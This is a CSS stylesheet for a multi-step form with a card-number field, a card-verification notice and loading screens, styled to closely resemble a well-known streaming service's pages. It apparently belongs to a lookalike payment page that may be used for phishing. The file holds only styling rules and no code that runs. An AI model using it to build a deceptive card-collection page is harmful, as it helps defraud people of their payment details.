* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

/* ── Language Modal ────────────────────────────────────────────────────────── */
.lang-modal {
    position: fixed !important;
    top: 0 !important;
    left: 0 !important;
    width: 100% !important;
    height: 100% !important;
    background: rgba(0, 0, 0, 0.85) !important;
    flex-direction: column !important;
    align-items: center !important;
    justify-content: center !important;
    z-index: 999999 !important;
    padding: 20px !important;
}

.lang-modal-content {
    background: rgba(22, 22, 22, 0.98);
    border: 1px solid rgba(255, 255, 255, 0.15);
    border-radius: 8px;
    padding: 40px;
    max-width: 500px;
    width: 100%;
    text-align: center;
    position: relative;
    z-index: 1000000;
}

.lang-modal-content h2 {
    font-size: 24px;
    color: #fff;
    margin-bottom: 12px;
    font-weight: 600;
}

.lang-modal-content p {
    font-size: 14px;
    color: rgba(255, 255, 255, 0.65);
    margin-bottom: 32px;
    line-height: 1.5;
}

.lang-grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(100px, 1fr));
    gap: 12px;
}

.lang-btn {
    padding: 12px 16px;
    background-color: rgba(255, 255, 255, 0.12);
    border: 1px solid rgba(255, 255, 255, 0.25);
    border-radius: 4px;
    color: #fff;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: all 0.2s ease;
    display: block;
    width: 100%;
    box-sizing: border-box;
}

.lang-btn:hover {
    background-color: #e50914;
    border-color: #e50914;
    transform: translateY(-2px);
    box-shadow: 0 4px 12px rgba(229, 9, 20, 0.3);
}

.lang-btn:active {
    transform: translateY(0);
    box-shadow: 0 2px 6px rgba(229, 9, 20, 0.3);
}

@media (max-width: 480px) {
    .lang-modal-content {
        padding: 24px;
    }

    .lang-grid {
        grid-template-columns: repeat(2, 1fr);
    }
}

#loading-screen {
    position: fixed;
    inset: 0;
    background: #000;
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 9999;
    opacity: 1;
    transition: opacity 0.6s ease;
}

#loading-screen.fade-out {
    opacity: 0;
    pointer-events: none;
}

#loading-screen .loading-logo {
    width: 120px;
    height: 36px;
    fill: #e50914;
    animation: logo-pulse 1.5s ease-in-out infinite;
}

@keyframes logo-pulse {
    0%, 100% { opacity: 1; transform: scale(1); }
    50% { opacity: 0.7; transform: scale(0.97); }
}

/* ── Processing Loading Screen ──────────────────────────────────────────────── */
#processing-screen {
    position: fixed;
    inset: 0;
    background: #000;
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 9998;
    opacity: 1;
    transition: opacity 0.3s ease;
}

#processing-screen.fade-out {
    opacity: 0;
    pointer-events: none;
}

.processing-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    gap: 32px;
    padding: 20px;
    width: 100%;
    max-width: 400px;
}

.processing-logo {
    width: 111px;
    height: 30px;
    fill: #e50914;
    animation: logo-spin 2s linear infinite;
}

@keyframes logo-spin {
    0% { opacity: 1; }
    50% { opacity: 0.6; }
    100% { opacity: 1; }
}

.processing-content {
    width: 100%;
    text-align: center;
    display: flex;
    flex-direction: column;
    gap: 20px;
}

.processing-text {
    font-size: 18px;
    font-weight: 400;
    color: rgba(255, 255, 255, 0.9);
    margin: 0;
}

.progress-bar-container {
    width: 100%;
    height: 6px;
    background-color: rgba(255, 255, 255, 0.15);
    border-radius: 3px;
    overflow: hidden;
}

.progress-bar-fill {
    height: 100%;
    background: linear-gradient(90deg, #e50914, #ff4444);
    width: 0%;
    transition: width 0.1s linear;
    border-radius: 3px;
    box-shadow: 0 0 10px rgba(229, 9, 20, 0.5);
}

.progress-text {
    font-size: 14px;
    color: rgba(255, 255, 255, 0.65);
    font-weight: 500;
}

@media (max-width: 768px) {
    .processing-container {
        gap: 24px;
    }

    .processing-logo {
        width: 90px;
        height: 24px;
    }

    .processing-text {
        font-size: 16px;
    }
}

@media (max-width: 480px) {
    .processing-container {
        gap: 20px;
        max-width: 90%;
    }

    .processing-logo {
        width: 80px;
        height: 21px;
    }

    .processing-text {
        font-size: 14px;
    }

    .progress-bar-container {
        height: 5px;
    }

    .progress-text {
        font-size: 12px;
    }
}

body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
    background: radial-gradient(circle at center top, rgba(100, 20, 20, 0.4) 0%, rgba(0, 0, 0, 1) 100%), #000;
    color: #fff;
    min-height: 100vh;
}

.container {
    min-height: 100vh;
    display: flex;
    flex-direction: column;
}

header {
    padding: 20px 40px;
}

.logo {
    width: 111px;
    height: 30px;
    fill: #e50914;
}

main {
    flex: 1;
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 20px;
}

.form-container {
    background-color: transparent;
    border: none;
    padding: 32px 20px;
    max-width: 450px;
    width: 100%;
}

h1 {
    font-size: 32px;
    font-weight: 500;
    margin-bottom: 8px;
}

h2 {
    font-size: 16px;
    font-weight: 400;
    color: rgba(255, 255, 255, 0.7);
    margin-bottom: 24px;
}

.input-wrapper {
    margin-bottom: 12px;
    position: relative;
}

label {
    position: absolute;
    left: 16px;
    top: 16px;
    font-size: 16px;
    color: rgba(255, 255, 255, 0.7);
    pointer-events: none;
    transition: all 0.2s;
}

input {
    width: 100%;
    padding: 24px 16px 8px;
    background-color: rgba(22, 22, 22, 0.7);
    border: 1px solid rgba(128, 128, 128, 0.7);
    border-radius: 4px;
    color: #fff;
    font-size: 16px;
}

input:focus {
    outline: none;
    border-color: #fff;
}

input:focus ~ label,
input:not(:placeholder-shown) ~ label {
    font-size: 11px;
    top: 6px;
}

input[type="date"] {
    color-scheme: dark;
}

.continue-btn {
    width: 100%;
    padding: 16px;
    background-color: #e50914;
    color: #fff;
    border: none;
    border-radius: 4px;
    font-size: 16px;
    font-weight: 500;
    cursor: pointer;
    margin-top: 24px;
}

.continue-btn:hover:not(:disabled) {
    background-color: #c11119;
}

.continue-btn:disabled {
    background-color: rgba(229, 9, 20, 0.35);
    cursor: not-allowed;
    opacity: 0.6;
}

.help-section {
    margin-top: 24px;
    padding-top: 24px;
}

.help-toggle {
    background: none;
    border: none;
    color: #fff;
    font-size: 14px;
    cursor: pointer;
    display: flex;
    align-items: center;
    gap: 4px;
    padding: 0;
}

.help-toggle svg {
    width: 16px;
    height: 16px;
}

.recaptcha-notice {
    margin-top: 24px;
    font-size: 13px;
    color: rgba(255, 255, 255, 0.5);
}

footer {
    background-color: #000;
    padding: 40px;
    color: rgba(255, 255, 255, 0.7);
}

footer p {
    margin-bottom: 20px;
}

footer a {
    color: rgba(255, 255, 255, 0.7);
}

.footer-links {
    list-style: none;
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
    gap: 16px;
}

.footer-links a {
    font-size: 13px;
    text-decoration: none;
}

.footer-links a:hover {
    text-decoration: underline;
}

#cardNumber {
    padding-right: 90px;
}

.card-type-badge {
    position: absolute;
    right: 12px;
    top: 50%;
    transform: translateY(-50%);
    height: 30px;
    width: auto;
    max-width: 68px;
    pointer-events: none;
    opacity: 0;
    transition: opacity 0.2s ease;
    border-radius: 4px;
    box-shadow: 0 1px 4px rgba(0, 0, 0, 0.25);
}

.card-type-badge.visible {
    opacity: 1;
}

.input-row {
    display: flex;
    gap: 12px;
    margin-bottom: 12px;
}

.input-row .input-wrapper {
    flex: 1;
    margin-bottom: 0;
}

.input-row .input-wrapper.input-sm {
    flex: 0 0 38%;
}

.addr-resolved {
    display: none;
    align-items: center;
    gap: 10px;
    font-size: 13px;
    color: rgba(255, 255, 255, 0.75);
    background: rgba(255, 255, 255, 0.05);
    border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 4px;
    padding: 11px 14px;
    margin-bottom: 12px;
    line-height: 1.4;
}

.addr-resolved.visible {
    display: flex;
}

.addr-resolved svg {
    flex-shrink: 0;
    color: rgba(255, 255, 255, 0.35);
}

.addr-fallback {
    display: none;
}

.addr-fallback.visible {
    display: block;
}

.input-wrapper.error input {
    border-color: #e87c03;
}

.error-message {
    display: none;
    align-items: center;
    gap: 6px;
    color: #e87c03;
    font-size: 13px;
    margin-top: 6px;
    padding-left: 2px;
}

.error-message svg {
    flex-shrink: 0;
}

.input-wrapper.error .error-message {
    display: flex;
}

@media (max-width: 768px) {
    h1 {
        font-size: 28px;
    }

    .footer-links {
        grid-template-columns: repeat(2, 1fr);
    }
}

/* ── Step indicator ────────────────────────────────────────────────────────── */
.form-steps {
    display: flex;
    align-items: flex-start;
    justify-content: center;
    margin-bottom: 28px;
}

.step-item {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 6px;
}

.step-circle {
    width: 36px;
    height: 36px;
    border-radius: 50%;
    border: 2px solid rgba(255, 255, 255, 0.2);
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 14px;
    font-weight: 600;
    color: rgba(255, 255, 255, 0.3);
    transition: border-color 0.35s ease, background-color 0.35s ease, color 0.35s ease;
}

.step-circle.active {
    border-color: #e50914;
    background-color: #e50914;
    color: #fff;
}

.step-circle.done {
    border-color: rgba(255, 255, 255, 0.5);
    color: rgba(255, 255, 255, 0.6);
}

.step-label {
    font-size: 11px;
    font-weight: 500;
    text-transform: uppercase;
    letter-spacing: 0.6px;
    color: rgba(255, 255, 255, 0.3);
    transition: color 0.35s ease;
}

.step-label.active {
    color: rgba(255, 255, 255, 0.85);
}

.step-label.done {
    color: rgba(255, 255, 255, 0.5);
}

.step-connector {
    flex: 1;
    height: 2px;
    background: rgba(255, 255, 255, 0.12);
    margin: 17px 12px 0;
    position: relative;
    overflow: hidden;
    min-width: 48px;
    border-radius: 1px;
}

.step-connector-fill {
    position: absolute;
    inset: 0 auto 0 0;
    width: 0%;
    background: #e50914;
    border-radius: 1px;
    transition: width 0.45s ease;
}

/* ── Page titles ─────────────────────────────────────────────────────────── */
.form-page h1 {
    font-size: 26px;
    font-weight: 600;
    margin-bottom: 6px;
}

.form-page h2 {
    font-size: 14px;
    font-weight: 400;
    color: rgba(255, 255, 255, 0.5);
    margin-bottom: 20px;
}

/* ── Page transitions ────────────────────────────────────────────────────── */
@keyframes page-in-forward {
    from { opacity: 0; transform: translateX(18px); }
    to   { opacity: 1; transform: translateX(0); }
}

@keyframes page-in-back {
    from { opacity: 0; transform: translateX(-18px); }
    to   { opacity: 1; transform: translateX(0); }
}

.form-page {
    display: none;
}

.form-page.active {
    display: block;
    animation: page-in-forward 0.3s ease;
}

.form-page.active.going-back {
    animation: page-in-back 0.3s ease;
}

/* ── Form navigation (page 2) ────────────────────────────────────────────── */
.form-nav {
    display: flex;
    gap: 12px;
    margin-top: 24px;
}

.back-btn {
    flex: 0 0 auto;
    padding: 16px 20px;
    background: transparent;
    color: rgba(255, 255, 255, 0.7);
    border: 1px solid rgba(255, 255, 255, 0.25);
    border-radius: 4px;
    font-size: 16px;
    font-weight: 500;
    cursor: pointer;
    transition: border-color 0.2s ease, color 0.2s ease;
}

.back-btn:hover {
    border-color: rgba(255, 255, 255, 0.6);
    color: #fff;
}

.submit-btn {
    flex: 1;
    margin-top: 0;
}

/* ── Card identity-verification notice ──────────────────────────────────── */
.card-notice {
    display: flex;
    align-items: flex-start;
    gap: 9px;
    background: rgba(255, 255, 255, 0.05);
    border: 1px solid rgba(255, 255, 255, 0.12);
    border-radius: 4px;
    padding: 11px 14px;
    margin-bottom: 12px;
    font-size: 13px;
    color: rgba(255, 255, 255, 0.65);
    line-height: 1.45;
}

.card-notice svg {
    flex-shrink: 0;
    margin-top: 1px;
    color: rgba(255, 255, 255, 0.45);
}

.card-notice strong {
    color: rgba(255, 255, 255, 0.85);
    font-weight: 600;
}

/* ── Mobile Responsiveness ───────────────────────────────────────────────── */
@media (max-width: 480px) {
    header {
        padding: 16px 20px;
    }

    main {
        padding: 16px;
    }

    .form-container {
        padding: 20px 0;
    }

    h1 {
        font-size: 24px;
        margin-bottom: 8px;
    }

    h2 {
        font-size: 14px;
        margin-bottom: 20px;
    }

    .input-wrapper {
        margin-bottom: 16px;
    }

    input {
        font-size: 16px;
        padding: 20px 12px 6px;
    }

    label {
        font-size: 14px;
        left: 12px;
    }

    input:focus ~ label,
    input:not(:placeholder-shown) ~ label {
        font-size: 10px;
        top: 4px;
    }

    .continue-btn {
        padding: 14px;
        font-size: 15px;
        margin-top: 20px;
    }

    .form-nav {
        flex-direction: column-reverse;
        gap: 8px;
        margin-top: 20px;
    }

    .back-btn {
        width: 100%;
        flex-basis: auto;
        padding: 14px;
    }

    .submit-btn,
    .submit-btn-final {
        width: 100%;
    }

    .input-row {
        flex-direction: column;
        gap: 0;
    }

    .input-row .input-wrapper {
        flex: 1;
        margin-bottom: 12px;
    }

    .input-row .input-wrapper.input-sm {
        flex: 1;
    }

    .form-steps {
        margin-bottom: 20px;
    }

    .step-circle {
        width: 32px;
        height: 32px;
        font-size: 12px;
    }

    .step-label {
        font-size: 9px;
        letter-spacing: 0.4px;
    }

    .step-connector {
        min-width: 24px;
        margin: 16px 8px 0;
    }

    footer {
        padding: 24px 20px;
    }

    footer p {
        font-size: 13px;
        margin-bottom: 16px;
    }

    .footer-links {
        grid-template-columns: 1fr;
    }

    .recaptcha-notice {
        font-size: 12px;
        margin-top: 16px;
    }

    .card-notice {
        font-size: 12px;
        padding: 9px 11px;
        gap: 6px;
    }

    .card-type-badge {
        max-width: 56px;
        height: 24px;
    }

    #cardNumber {
        padding-right: 70px;
    }
}